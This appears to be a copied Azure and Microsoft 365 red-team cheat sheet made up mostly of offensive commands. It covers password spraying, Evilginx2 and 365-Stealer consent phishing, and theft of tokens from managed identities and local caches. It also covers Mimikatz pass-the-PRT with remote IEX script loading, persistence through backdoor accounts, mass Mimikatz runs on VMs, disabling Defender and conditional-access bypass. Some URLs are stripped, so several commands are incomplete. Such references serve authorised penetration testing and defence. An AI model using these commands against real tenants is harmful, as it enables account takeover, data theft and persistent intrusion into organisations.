Azure Red Team -Azure Security Resources and Notes


microsoft azure

Azure Active Directory

Original Source:Swisskyrepo

PreReq Requirements and free training

Webcast: OPSEC Fundamentals for Remote Red Teams

EDITED EDITION — Getting Started in Pentesting The Cloud–Azure | Beau Bullock | 1-Hour

Workshop:Breaching The Cloud Perimeter w/ Beau Bullock

Commando VM

Repo Location: Commando VM

Post Commando Tools to install: Connect to all Microsoft 365 services in a single PowerShell window

Azure Recon Tools

  • ROADToolpipenv shell roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [–as-app] [–device-code] [–access-token ACCESS_TOKEN] [–refresh-token REFRESH_TOKEN] [-f TOKENFILE] [–tokens-stdout] roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [–tokens-stdin] [–mfa] roadrecon auth -u test@<TENANT NAME> -p <PASSWORD> roadrecon gather roadrecon gui
  • StormSpotter# # session 1 – backend pipenv shell python ssbackend.pyz # session 2 – frontend cd C:\Tools\stormspotter\frontend\dist\spa\ quasar.cmd serve -p 9091 –history # session 3 – collector pipenv shell az login -u test@<TENANT NAME> -p <PASSWORD> python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli # Web access on http://localhost:9091 Username: neo4j Password: BloodHound Server: bolt://localhost:7687
  • Azure Hound# . C:\Tools\AzureHound\AzureHound.ps1 Invoke-AzureHound -Verbose # GUI access bolt://localhost:7687 Username: neo4j Password: BloodHound # Cypher query example: MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p # Change object ID’s to names in Bloodhound MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> “” AND IS NULL SET = n.azname # Custom Queries :
  • List of Microsoft portals:
  • Azucar : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.# You should use an account with at least read-permission on the assets you want to access git clone PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName
  • Azurite Explorer and Azurite Visualizer : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.git clone git clone git submodule init git submodule update PS> Import-Module AzureRM PS> Import-Module AzuriteExplorer.ps1 PS> Review-AzureRmSubscription PS> Review-CustomAzureRmSubscription
  • MicroBurst – MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping$ git clone PS C:> Import-Module .\MicroBurst.psm1 PS C:> Import-Module .\Get-AzureDomainInfo.ps1 PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
  • SkyArk – Discover the most privileged users in the scanned Azure environment – including the Azure Shadow Admins.
    • Read-Only permissions over Azure Directory (Tenant)
    • Read-Only permissions over Subscription
    • Require AZ and AzureAD module or administrator right
    $ git clone $ powershell -ExecutionPolicy Bypass -NoProfile PS C> Import-Module .\SkyArk.ps1 -force PS C> Start-AzureStealth or in the Cloud Console PS C> IEX (New-Object Net.WebClient).DownloadString(‘’) PS C> Scan-AzureAdmins
  • PowerZure -require az module ! $ git clone $ ipmo .\PowerZure $ Set-Subscription -Id [idgoeshere] # Reader $ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails # Contributor $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command “whoami” $ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File “build.xml” $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine’s disk # Owner $ Set-Role -Role Contributor -User -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor


Enumerate valid emails

By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.

  • Validate emailPS> C:\Python27\python.exe C:\Tools\o365creeper\ -f C:\Tools\emails.txt -o C:\Tools\validemails.txt admin@<TENANT NAME> – VALID root@<TENANT NAME> – INVALID test@<TENANT NAME> – VALID contact@<TENANT NAME> – INVALID
  • Extract email lists with a valid credentials :

Password spraying

PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose

Enumerate Azure Subdomains

PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME> Microsoft Hosted Domain

Enumerate tenant with Azure AD Powershell

Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>", $passwd)
PS Az> Connect-AzureAD -Credential $creds

PS AzureAD> Get-AzureADUser -All $true
PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
PS AzureAD> Get-AzureADGroup -All $true
PS AzureAD> Get-AzureADDevice
PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName

Enumerate tenant with Az Powershell

PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential ("test@<TENANT NAME>", $passwd)
PS Az> Connect-AzAccount -Credential $creds

PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault

Enumerate tenant with az cli

PS> az login -u test@<TENANT NAME> -p <PASSWORD>
PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list

Enumerate manually

  • Federation with Azure AD or O365<USER>@<DOMAIN>&xml=1<TENANT NAME>
  • Get the Tenant ID<DOMAIN>/.well-known/openid-configuration<TENANT NAME>

Enumeration methodology

# Check Azure Joined 
PS> dsregcmd.exe /status
| Device State |
 AzureAdJoined : YES
 EnterpriseJoined : NO
 DomainJoined : NO
 Device Name : jumpvm

# Enumerate resources
PS Az> Get-AzResource

# Enumerate role assignments
PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/<VM-NAME>`

# Get info on a role
PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor"

# Get info user
PS AzureAD> Get-AzureADUser -ObjectId <ID>
PS AzureAD> Get-AzureADUser -ObjectId test@<TENANT NAME> | fl * 

# List all groups
PS AzureAD> Get-AzureADGroup -All $true

# Get members of a group
PS Az> Get-AzADGroup -DisplayName '<GROUP-NAME>'
PS Az> Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipalName

# Get Azure AD information
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> Get-AADIntLoginInformation -UserName admin@<TENANT NAME>
PS AADInternals> Get-AADIntTenantID -Domain <TENANT NAME> # Get Tenant ID
PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName <DOMAIN> # Get all the information

# Check if there is a user logged-in to az cli
PS> az ad signed-in-user show

# Check AppID Alternative Names/Display Name 
PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl

# Get all application objects registered using the current tenant
PS AzureAD> Get-AzureADApplication -All $true

# Get all details about an application
PS AzureAD> Get-AzureADApplication -ObjectId <ID> | fl *

# List all VM's the user has access to
PS Az> Get-AzVM 
PS Az> Get-AzVM | fl

# Get all function apps
PS Az> Get-AzFunctionApp

# Get all webapps
PS Az> Get-AzWebApp
PS Az> Get-AzWebApp | select-object Name, Type, Hostnames

# List all storage accounts
PS Az> Get-AzStorageAccount
PS Az> Get-AzStorageAccount | fl

# List all keyvaults
PS Az> Get-AzKeyVault

Phishing with Evilginx2

PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets
: config domain username.corp
: config ip
: phishlets hostname o365 login.username.corp
: phishlets get-hosts o365

Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine

# copy certificate and enable the phishing
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key
: phishlets enable o365

# get the phishing URL
: lures create o365
: lures get-url 0

Illicit Consent Grant

The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.

Check if users are allowed to consent to apps: PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Disable user consent : Users cannot grant permissions to applications.
  • Users can consent to apps from verified publishers or your organization, but only for permissions you select : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
  • Users can consent to all apps : allows all users to consent to any permission which doesn’t require admin consent,
  • Custom app consent policy

Register Application

  1. Login to > Azure Active Directory
  2. Click on App registrations > New registration
  3. Enter the Name for our application
  4. Under support account types select “Accounts in any organizational directory (Any Azure AD directory – Multitenant)”
  5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is https://<DOMAIN/IP>:<PORT>/login/authorized.
  6. Click Register and save the Application ID

Configure Application

  1. Click on Certificates & secrets
  2. Click on New client secret then enter the Description and click on Add.
  3. Save the secret‘s value.
  4. Click on API permissions > Add a permission
  5. Click on Microsoft Graph > Delegated permissions
  6. Search and select the below mentioned permissions and click on Add permission
    • Contacts.Read
    • Mail.Read / Mail.ReadWrite
    • Mail.Send
    • Notes.Read.All
    • Mailboxsettings.ReadWrite
    • Files.ReadWrite.All
    • User.ReadBasic.All
    • User.Read

Setup 365-Stealer

Default port for 365-Stealer phishing is 443

  • Run XAMPP and start Apache
  • Clone 365-Stealer into C:\xampp\htdocs\
    • git clone
  • Install the requirements
    • Python3
    • PHP CLI or Xampp server
    • pip install -r requirements.txt
  • Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
  • Edit C:/xampp/htdocs/yourvictims/index.php if needed
    • Disable IP whitelisting $enableIpWhiteList = false;
  • Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims)
  • Client Id (Mandatory): This will be the Application(Client) Id of the application that we registered.
  • Client Secret (Mandatory): Secret value from the Certificates & secrets tab that we created.
  • Redirect URL (Mandatory): Specify the redirect URL that we entered during registering the App like https://<Domain/IP>/login/authorized
  • Macros Location: Path of macro file that we want to inject.
  • Extension in OneDrive: We can provide file extensions that we want to download from the victims account or provide * to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc.
  • Delay: Delay the request by specifying time in seconds while stealing

Mitigation: Enable Do not allow user consent for applications in the “Consent and permissions menu”.

Token from Managed Identity


Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : env

Most of the time, you want a token for one of these resources:

Azure API via Powershell

Get access_token from IDENTITY_HEADER and IDENTITY_ENDPOINTsystem('curl "$IDENTITY_ENDPOINT?resource=" -H secret:$IDENTITY_HEADER');.

Then query the Azure REST API to get the subscription ID and more .

$Token = 'eyJ0eX..'
$URI = ''
# $URI = ''
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
(Invoke-RestMethod @RequestParams).value 

# List resources and check for runCommand privileges
$URI = ''
$URI = '<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'

Azure API via Python Version


print("[+] Management API")
cmd = 'curl "%s?resource=" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("ClientID/AccountID: "+json.loads(val)["client_id"])

or inside a Python Function:

import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:'Python HTTP trigger function processed a request.')
    cmd = 'curl "%s?resource=" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    val = os.popen(cmd).read()
    return func.HttpResponse(val, status_code=200)

Get Tokens

The lifetime of a Primary Refresh Token is 14 days!

# az cli - get tokens 
az account get-access-token 
az account get-access-token --resource-type aad-graph
# or Az
(Get-AzAccessToken -ResourceUrl
# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT

Use Tokens

Tokens contain all the claims including that for MFA and Conditional Access

  • Az PowershellPS C:\Tools> $token = ‘eyJ0e..’ PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID> # Access Token and Graph Token PS C:\Tools> $token = ‘eyJ0eX..’ PS C:\Tools> $graphaccesstoken = ‘eyJ0eX..’ PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID> PS C:\Tools> Get-AzResource # ERROR: ‘this.Client.SubscriptionId’ cannot be null. # —> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI
  • AzureADImport-Module C:\Tools\AzureAD\AzureAD.psd1 $AADToken = ‘eyJ0…’ Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <ACCOUNT-ID>

Refresh Tokens

  • cookie –derivedkey <Key from Mimikatz> –context <Context from Mimikatz> –prt <PRT from Mimikatz> Lantern.exe mdm –joindevice –accesstoken (or some combination from the token part) –devicename <Name> –outpfxfile <Some path> Lantern.exe token –username <Username> –password <Password> Lantern.exe token –refreshtoken <RefreshToken> Lantern.exe devicekeys –pfxpath XXXX.pfx –refreshtoken (–prtcookie / —username + –password )
  • .\TokenTactics.psd1 CommandType Name Version Source ———– —- ——- —— Function Clear-Token 0.0.1 TokenTactics Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics Function Forge-UserAgent 0.0.1 TokenTactics Function Get-AzureToken 0.0.1 TokenTactics Function Get-TenantID 0.0.1 TokenTactics Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics Function Parse-JWTtoken 0.0.1 TokenTactics Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics Function RefreshTo-GraphToken 0.0.1 TokenTactics Function RefreshTo-MAMToken 0.0.1 TokenTactics Function RefreshTo-MSGraphToken 0.0.1 TokenTactics Function RefreshTo-MSManageToken 0.0.1 TokenTactics Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics Function RefreshTo-OutlookToken 0.0.1 TokenTactics Function RefreshTo-SubstrateToken 0.0.1 TokenTactics

Stealing Tokens

  • Get-AzurePasswordsImport-Module Microburst.psm1 Get-AzurePasswords Get-AzurePasswords -Verbose | Out-GridView

Stealing tokens from az cli

  • az cli stores access tokens in clear text in accessTokens.json in the directory C:\Users\<username>\.Azure
  • azureProfile.json in the same directory contains information about subscriptions.

Stealing tokens from az powershell

  • Az PowerShell stores access tokens in clear text in TokenCache.dat in the directory C:\Users\<username>\.Azure
  • It also stores ServicePrincipalSecret in clear-text in AzureRmContext.json
  • Users can save tokens using Save-AzContext

Add credentials to all Enterprise Applications

# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose

# Use secrets to authenticate as Service Principal
PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'

Spawn SSH for Azure Web App

az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>

Azure Storage Blob

  • Blobs – *
  • File Services – *
  • Data Tables – *
  • Queues – *

Enumerate blobs

PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account -
Found Storage Account -
Found Storage Account -
Found Storage Account -


  • Use Storage Explorer
  • Click on Open Connect Dialog in the left menu.
  • Select Blob container.
  • On the Select Authentication Method page
    • Select Shared access signature (SAS) and click on Next
    • Copy the URL in Blob container SAS URL field.

You can also use subscription(username/password) to access storage resources such as blobs and files.

List and download blobs

PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob

Runbook Automation

Create a Runbook

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects

# If the user is not part of an "Automation" group.
# Add him to a custom group , e.g: "Automation Admins"
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

# Create a Powershell Runbook
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Persistence via Automation accounts

  • Create a new Automation Account
    • “Create Azure Run As account”: Yes
  • Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
  • Add the AzureAD module to the Automation account
    • Update the Azure Automation Modules
  • Assign “User Administrator” and “Subscription Owner” rights to the automation account
  • Eventually lose your access…
  • Trigger the webhook with a post request to create the new user$uri = “[REDACTED]%3d” $AccountInfo = @(@{RequestBody=@{Username=”BackdoorUsername”;Password=”BackdoorPassword”}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Virtual Machine RunCommand


  • Microsoft.Compute/virtualMachines/runCommand/action
# Get Public IP of VM : query the network interface
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>

# Execute Powershell script on the VM
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose

# Connect via WinRM
PS C:\Tools> $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password)
PS C:\Tools> $sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
PS C:\Tools> Enter-PSSession $sess

Allow anyone with “Contributor” rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

# List available VMs
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test

# Execute Powershell script on the VM
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1

Against the whole subscription using MicroBurst.ps1

Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

KeyVault Secrets

# keyvault access token
curl "$IDENTITY_ENDPOINT?resource=" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=" -H secret:$IDENTITY_HEADER

# connect
PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken

# query the vault and the secrets
PS Az> Get-AzKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText

Pass The PRT

MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).

# Run mimikatz to obtain the PRT
PS> iex (New-Object Net.Webclient).downloadstring("")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

# Copy the PRT and KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect

# Copy the Context, ClearKey and DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>
# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce

The <Signed JWT> (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:

Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √

Mark the cookie with the flags HTTPOnly and Secure.

Pass The Certificate

Copy-Item -ToSession $jumpvm -Path C:\Tools\ -Destination C:\Users\Username\Documents\username –Verbose
Expand-Archive -Path C:\Users\Username\Documents\username\ -DestinationPath C:\Users\Username\Documents\username\PrtToCert

# Require the PRT, TenantID, Context and DerivedKey
& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\ --tenantId <TENANT-ID> --prt <PRT> --userName <Username>@<TENANT NAME> --hexCtx <HEX-CONTEXT> --hexDerivedKey <HEX-DERIVED-KEY>
# PFX saved with the name <Username>@<TENANT NAME> and password AzureADCert

Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP --usercert "admin.pfx" --certpass password --remoteip

python --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENANT NAME> --
certpass AzureADCert --remoteip --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"

Intunes Administration


  • Global Administrator or Intune Administrator Privilege : Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
  1. Login into or use Pass-The-PRT
  2. Go to Devices -> All Devices to check devices enrolled to Intune
  3. Go to Scripts and click on Add for Windows 10.
  4. Add a Powershell script
  5. Specify Add all users and Add all devices in the Assignments page.

It will take up to one hour before you script is executed !

Dynamic Group Membership

Get groups that allow Dynamic membership: Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

Rule example : (user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")
Rule description: Any Guest user whose secondary email contains the string ‘vendor’ will be added to the group

  1. Open user’s profile, click on Manage
  2. Click on Resend invite and to get an invitation URL
  3. Set the secondary emailPS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME> -Verbose

Administrative Unit

Administrative Unit can reset password of another user

PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl 
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose

Deployment Template

PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP

# Export
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password

Application Proxy

# Enumerate application that have Proxy
PS C:\Tools> Get-AzureADApplication | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>

Conditional Access

  • Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
  • Bypassing conditional access by faking device compliance# AAD Internals – Making your device compliant # Get an access token for AAD join and save to cache Get-AADIntAccessTokenForAADJoin -SaveToCache # Join the device to Azure AD Join-AADIntDeviceToAzureAD -DeviceName “SixByFour” -DeviceType “Commodore” -OSVersion “C64” # Marking device compliant – option 1: Registering device to Intune # Get an access token for Intune MDM and save to cache (prompts for credentials) Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache # Join the device to Intune Join-AADIntDeviceToIntune -DeviceName “SixByFour” # Start the call back Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName “SixByFour”

Azure AD

With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.

  1. Authenticate to your webmail portal (i.e.
  2. Change your browser URL to:
  3. Pick the account from the active sessions
  4. Select Azure Active Directory and enjoy!

Azure AD vs Active Directory

Active DirectoryAzure AD
Structured directory (OU tree)Flat structure
Super fine-tuned access controlsPredefined roles

Password Spray

Default lockout policy of 10 failed attempts, locking out an account for 60 seconds

git clone
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

# UserList  - UserList file filled with usernames one-per-line in the format ""
# Password  - A single password that will be used to perform the password spray.
# OutFile   - A file to output valid results to.
# Force     - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL       - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

Convert GUID to SID

The user’s AAD id is translated to SID by concatenating "S-1–12–1-" to the decimal representation of each section of the AAD Id.

GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]

For example, the representation of 6aa89ecb-1f8f-4d92–810d-b0dce30b6c82 is S-1–12–1–1789435595–1301421967–3702525313–2188119011

Azure AD Connect

Check if Azure AD Connect is installed : Get-ADSyncConnector

  • For PHS, we can extract the credentials
  • For PTA, we can install the agent
  • For Federation, we can extract the certificate from ADFS server using DA
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\ -Destination C:\Users\Administrator\Documents
